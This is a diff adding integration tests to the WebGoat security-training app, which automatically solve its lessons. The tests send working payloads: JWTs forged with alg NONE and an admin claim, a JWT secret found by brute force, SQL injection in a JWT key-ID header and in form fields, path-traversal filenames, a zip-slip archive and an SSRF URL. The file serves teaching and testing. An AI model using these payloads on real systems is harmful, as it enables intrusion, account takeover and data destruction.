+
+    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+    @Getter
+    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
+    private static boolean useSSL = false;
+    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
+    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
+    @Getter
+    private String webGoatCookie;
+    @Getter
+    private String webWolfCookie;
+    @Getter
+    private String user = "webgoat";
+
+    protected String url(String url) {
+        url = url.replaceFirst("/WebGoat/", "");
+        url = url.replaceFirst("/WebGoat", "");
+        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
+        return webgoatUrl + url;
+    }
+
+    protected String webWolfUrl(String url) {
+        url = url.replaceFirst("/WebWolf/", "");
+        url = url.replaceFirst("/WebWolf", "");
+        url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
+        return webWolfUrl + url;
+    }
+
+    @BeforeEach
+    public void login() {
+        String location = given()
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", user)
+                .formParam("password", "password")
+                .post(url("login")).then()
+                .cookie("JSESSIONID")
+                .statusCode(302)
+                .extract().header("Location");
+        if (location.endsWith("?error")) {
+            webGoatCookie = RestAssured.given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .formParam("username", user)
+                    .formParam("password", "password")
+                    .formParam("matchingPassword", "password")
+                    .formParam("agree", "agree")
+                    .post(url("register.mvc"))
+                    .then()
+                    .cookie("JSESSIONID")
+                    .statusCode(302)
+                    .extract()
+                    .cookie("JSESSIONID");
+        } else {
+            webGoatCookie = given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .formParam("username", user)
+                    .formParam("password", "password")
+                    .post(url("login")).then()
+                    .cookie("JSESSIONID")
+                    .statusCode(302)
+                    .extract().cookie("JSESSIONID");
+        }
+
+        webWolfCookie = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .formParam("username", user)
+                .formParam("password", "password")
+                .post(webWolfUrl("login"))
+                .then()
+                .statusCode(302)
+                .cookie("WEBWOLFSESSION")
+                .extract()
+                .cookie("WEBWOLFSESSION");
+    }
+
+    @AfterEach
+    public void logout() {
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .get(url("logout"))
+                .then()
+                .statusCode(200);
+    }
+
+    public void startLesson(String lessonName) {
+        startLesson(lessonName, false);
+    }
+
+    public void startLesson(String lessonName, boolean restart) {
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url(lessonName + ".lesson.lesson"))
+                .then()
+                .statusCode(200);
+
+        if (restart) {
+            RestAssured.given()
+                    .when()
+                    .relaxedHTTPSValidation()
+                    .cookie("JSESSIONID", getWebGoatCookie())
+                    .get(url("service/restartlesson.mvc"))
+                    .then()
+                    .statusCode(200);
+        }
+    }
+
+    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .put(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
+    public void checkResults(String prefix) {
+        checkResults();
+
+        MatcherAssert.assertThat(RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/lessonoverview.mvc"))
+                .then()
+                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
+
+    }
+
+    public void checkResults() {
+        var result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/lessonoverview.mvc"))
+                .andReturn();
+
+        MatcherAssert.assertThat(result.then()
+                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
+    }
+
+    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .contentType(contentType)
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .body(body)
+                        .post(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .queryParams(params)
+                        .get(url)
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
+    }
+
+    public String getWebWolfFileServerLocation() {
+        String result = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/file-server-location"))
+                .then()
+                .extract().response().getBody().asString();
+        result = result.replace("%20", " ");
+        return result;
+    }
+
+    public String webGoatServerDirectory() {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/server-directory"))
+                .then()
+                .extract().response().getBody().asString();
+    }
+
+}
+

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -0,0 +1,216 @@
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.Test;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.TextCodec;
+import io.restassured.RestAssured;
+import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
+
+public class JWTLessonIntegrationTest extends IntegrationTest {
+	
+    @Test
+    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
+    	startLesson("JWT");
+
+    	decodingToken();
+  
+        resetVotes();
+                
+        findPassword();
+        
+        buyAsTom();
+        
+        deleteTom();
+
+		quiz();
+        
+        checkResults("/JWT/");
+    }
+    
+    private String generateToken(String key) {
+    	
+    	return Jwts.builder()
+		.setIssuer("WebGoat Token Builder")
+		.setAudience("webgoat.org")
+		.setIssuedAt(Calendar.getInstance().getTime())
+		.setExpiration(Date.from(Instant.now().plusSeconds(60)))
+		.setSubject("tom@webgoat.org")
+		.claim("username", "WebGoat")
+		.claim("Email", "tom@webgoat.org")
+		.claim("Role", new String[] {"Manager", "Project Administrator"})
+		.signWith(SignatureAlgorithm.HS256, key).compact();
+    }
+    
+    private String getSecretToken(String token) {
+    	for (String key : JWTSecretKeyEndpoint.SECRETS) {
+    		try {
+    			Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+    		} catch (JwtException e) {
+    			continue;
+    		}
+    		return TextCodec.BASE64.encode(key);
+    	}
+    	return null;
+    }
+
+	private void decodingToken() {
+		MatcherAssert.assertThat(
+				RestAssured.given()
+						.when()
+						.relaxedHTTPSValidation()
+						.cookie("JSESSIONID", getWebGoatCookie())
+						.formParam("jwt-encode-user", "user")
+						.post(url("/WebGoat/JWT/decode"))
+						.then()
+						.statusCode(200)
+						.extract().path("lessonCompleted"), CoreMatchers.is(true));
+
+	}
+    
+    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
+    	
+    	String accessToken = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/WebGoat/JWT/secret/gettoken"))
+                .then()
+                .extract().response().asString();
+    	
+    	String secret = getSecretToken(accessToken);
+    	
+    	MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParam("token", generateToken(secret))
+                        .post(url("/WebGoat/JWT/secret"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    	
+    }
+    
+    private void resetVotes() throws IOException {
+    	String accessToken = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
+                .then()
+                .extract().cookie("access_token");
+
+        String header = accessToken.substring(0, accessToken.indexOf("."));
+        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
+        
+        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
+        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
+
+        ObjectMapper mapper = new ObjectMapper();
+        JsonNode headerNode = mapper.readTree(header);
+        headerNode = ((ObjectNode) headerNode).put("alg","NONE");
+
+        JsonNode bodyObject = mapper.readTree(body);
+        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
+        
+        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+        		.concat(".")
+        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
+        		.concat(".").replace("=", "");
+        
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .cookie("access_token", replacedToken)
+                        .post(url("/WebGoat/JWT/votings"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+    
+	private void buyAsTom() throws IOException {
+		
+		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+
+		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
+
+		body = body.replace("Jerry", "Tom");
+		
+		ObjectMapper mapper = new ObjectMapper();
+		JsonNode headerNode = mapper.readTree(header);
+		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
+				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+				.concat(".").replace("=", "");
+
+		MatcherAssert.assertThat(RestAssured.given()
+				.when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie())
+				.header("Authorization","Bearer "+replacedToken)
+				.post(url("/WebGoat/JWT/refresh/checkout"))
+				.then().statusCode(200)
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+	}
+	
+	private void deleteTom() {
+		
+		Map<String, Object> header = new HashMap();
+		  header.put(Header.TYPE, Header.JWT_TYPE);
+		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+		String token = Jwts.builder()
+				.setHeader(header)
+				.setIssuer("WebGoat Token Builder")
+				.setAudience("webgoat.org")
+				.setIssuedAt(Calendar.getInstance().getTime())
+				.setExpiration(Date.from(Instant.now().plusSeconds(60)))
+				.setSubject("tom@webgoat.org")
+				.claim("username", "Tom")
+				.claim("Email", "tom@webgoat.org")
+				.claim("Role", new String[] {"Manager", "Project Administrator"})
+				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
+		
+		MatcherAssert.assertThat(RestAssured.given()
+				.when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie())
+				.post(url("/WebGoat/JWT/final/delete?token="+token))
+				.then()
+				.statusCode(200)
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+	}
+
+	private void quiz() { 
+		Map<String, Object> params = new HashMap<>();
+		params.put("question_0_solution", "Solution 1");
+		params.put("question_1_solution", "Solution 2");
+
+		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
+	}
+    
+}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -0,0 +1,118 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import lombok.SneakyThrows;
+
+import org.apache.commons.lang3.StringUtils;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import java.util.Arrays;
+import java.util.Map;
+
+public class PasswordResetLessonIntegrationTest extends IntegrationTest {
+
+	@BeforeEach
+    @SneakyThrows
+    public void init() {
+    	startLesson("/PasswordReset");
+    }
+	
+	@TestFactory
+    Iterable<DynamicTest> passwordResetLesson() {
+    	return Arrays.asList(
+    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
+    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
+    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
+    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
+    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
+    			);
+    }
+	public void assignment2() {
+		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
+		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
+	}
+	
+	public void assignment4() {
+        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
+    }
+	
+	public void assignment5() {
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
+    }
+
+	
+    public void solveAssignment() {
+        //WebGoat
+        clickForgotEmailLink("tom@webgoat-cloud.org");
+
+        //WebWolf
+        var link = getPasswordResetLinkFromLandingPage();
+
+        //WebGoat
+        changePassword(link);
+        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
+    }
+
+    public void sendEmailShouldBeAvailableInWebWolf() {
+    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
+
+        var responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/mail"))
+                .then()
+                .extract().response().getBody().asString();
+
+        Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+    }
+    
+    @AfterEach
+    public void shutdown() {
+    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+    	checkResults("/PasswordReset");
+    }
+
+    private void changePassword(String link) {
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .formParams("resetLink", link, "password", "123456")
+                .post(url("PasswordReset/reset/change-password"))
+                .then()
+                .statusCode(200);
+    }
+
+    private String getPasswordResetLinkFromLandingPage() {
+        var responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
+        return link;
+    }
+
+    private void clickForgotEmailLink(String user) {
+        RestAssured.given()
+                .when()
+                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .formParams("email", user)
+                .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
+                .then()
+                .statusCode(200);
+    }
+}

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -0,0 +1,137 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+class PathTraversalIT extends IntegrationTest {
+
+    @TempDir
+    Path tempDir;
+
+    private File fileToUpload = null;
+
+    @BeforeEach
+    @SneakyThrows
+    public void init() {
+        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+        startLesson("PathTraversal");
+    }
+
+    @TestFactory
+    Iterable<DynamicTest> testPathTraversal() {
+        return Arrays.asList(
+                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+                dynamicTest("assignment 5 - zip slip", () -> assignment5())
+        );
+    }
+
+    private void assignment1() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullName", "../John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment2() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullNameFix", "..././John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment3() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment4() throws IOException {
+        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+        RestAssured.given().urlEncodingEnabled(false)
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url(uri))
+                .then()
+                .statusCode(200)
+                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
+                Sha512DigestUtils.shaHex(this.getUser())), true);
+    }
+
+    private void assignment5() throws IOException {
+        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
+
+        var webGoatDirectory = new File(webGoatHome);
+        var zipFile = new File(tempDir.toFile(), "upload.zip");
+        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+            zos.putNextEntry(e);
+            zos.write("test".getBytes(StandardCharsets.UTF_8));
+        }
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+                        .post(url("/WebGoat/PathTraversal/zip-slip"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    @AfterEach
+    void shutdown() {
+        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+        checkResults("/PathTraversal");
+    }
+}

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -0,0 +1,53 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.response.Response;
+
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
+public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void runTests() throws InterruptedException {
+    	int NUMBER_OF_CALLS = 40;
+    	int NUMBER_OF_PARALLEL_THREADS = 5;
+        startLesson("Challenge1");
+
+        Callable<Response> call = () -> {
+        		//System.out.println("thread "+Thread.currentThread().getName());
+                return RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(Map.of("flag", "test"))
+                        .post(url("/challenge/flag/"));
+
+        };
+        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
+        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+        var responses = executorService.invokeAll(flagCalls);
+
+        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
+        long countStatusCode500 = responses.stream().filter(r -> {
+            try {
+            	//System.err.println(r.get().getStatusCode());
+                return r.get().getStatusCode() != 200;
+            } catch (InterruptedException | ExecutionException e) {
+            	//System.err.println(e);
+                throw new IllegalStateException(e);
+            }
+        }).count();
+        System.err.println("counted status 500: "+countStatusCode500);
+        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
+    }
+}

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -0,0 +1,30 @@
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.jupiter.api.Test;
+
+public class SSRFIntegrationTest extends IntegrationTest {
+    
+    @Test
+    public void runTests() throws IOException {
+        startLesson("SSRF");
+        
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("url", "images/jerry.png");
+        
+        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
+        params.clear();
+        params.put("url", "http://ifconfig.pro");
+        
+        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
+        
+        checkResults("/SSRF/");
+    
+    }
+    
+    
+}

src/it/java/org/owasp/webgoat/SeleniumIntegrationTest.java

@@ -0,0 +1,111 @@
+package org.owasp.webgoat;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.openqa.selenium.By;
+import org.openqa.selenium.WebDriver;
+import org.openqa.selenium.firefox.FirefoxBinary;
+import org.openqa.selenium.firefox.FirefoxDriver;
+import org.openqa.selenium.firefox.FirefoxOptions;
+
+import io.github.bonigarcia.wdm.WebDriverManager;
+import io.github.bonigarcia.wdm.config.DriverManagerType;
+
+public class SeleniumIntegrationTest extends IntegrationTest {
+
+	static {
+		try {
+			WebDriverManager.getInstance(DriverManagerType.FIREFOX).setup();
+		} catch (Exception e) {
+			//sometimes a 403 cause an ExceptionInInitializerError
+		}
+	}
+	private WebDriver driver;
+
+	@BeforeEach
+	public void setUpAndLogin() {
+		try {
+			FirefoxBinary firefoxBinary = new FirefoxBinary();
+			firefoxBinary.addCommandLineOptions("--headless");
+
+			FirefoxOptions firefoxOptions = new FirefoxOptions();
+			firefoxOptions.setBinary(firefoxBinary);
+			driver = new FirefoxDriver(firefoxOptions);
+			driver.get(url("/login"));
+			driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
+			// Login
+			driver.findElement(By.name("username")).sendKeys(this.getUser());
+			driver.findElement(By.name("password")).sendKeys("password");
+			driver.findElement(By.className("btn")).click();
+
+			// Check if user exists. If not, create user.
+			if (driver.getCurrentUrl().equals(url("/login?error"))) {
+				driver.get(url("/registration"));
+				driver.findElement(By.id("username")).sendKeys(this.getUser());
+				driver.findElement(By.id("password")).sendKeys("password");
+				driver.findElement(By.id("matchingPassword")).sendKeys("password");
+				driver.findElement(By.name("agree")).click();
+				driver.findElement(By.className("btn-primary")).click();
+			}
+		} catch (Exception e) {
+			System.err.println("Selenium test failed "+System.getProperty("webdriver.gecko.driver")+", message: "+e.getMessage());
+		}
+
+	}
+
+	@AfterEach
+	public void tearDown() {
+		if (null != driver) {
+			driver.close();
+		}
+	}
+
+	@Test
+	public void sqlInjection() {
+		
+		if (null==driver) return;
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.id("restart-lesson-button")).click();
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/0"));
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/1"));
+		driver.findElement(By.name("query")).sendKeys(SqlInjectionLessonIntegrationTest.sql_2);
+		driver.findElement(By.name("query")).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/2"));
+		driver.findElements(By.name("query")).get(1).sendKeys(SqlInjectionLessonIntegrationTest.sql_3);
+		driver.findElements(By.name("query")).get(1).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/3"));
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_add);
+		driver.findElements(By.name("query")).get(2).submit();
+		driver.findElements(By.name("query")).get(2).clear();
+		driver.findElements(By.name("query")).get(2).sendKeys(SqlInjectionLessonIntegrationTest.sql_4_drop);
+		driver.findElements(By.name("query")).get(2).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/4"));
+		driver.findElements(By.name("query")).get(3).sendKeys(SqlInjectionLessonIntegrationTest.sql_5);
+		driver.findElements(By.name("query")).get(3).submit();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/8"));
+		driver.findElement(By.name("account")).sendKeys("Smith'");
+		driver.findElement(By.name("operator")).sendKeys("OR");
+		driver.findElement(By.name("injection")).sendKeys("'1'='1");
+		driver.findElement(By.name("Get Account Info")).click();
+
+		driver.get(url("/start.mvc#lesson/SqlInjection.lesson/9"));
+		driver.findElement(By.name("userid")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_userid);
+		driver.findElement(By.name("login_count")).sendKeys(SqlInjectionLessonIntegrationTest.sql_10_login_count);
+		driver.findElements(By.name("Get Account Info")).get(1).click();
+	}
+
+}

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -0,0 +1,47 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2021 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source
+ * ==============
+ *
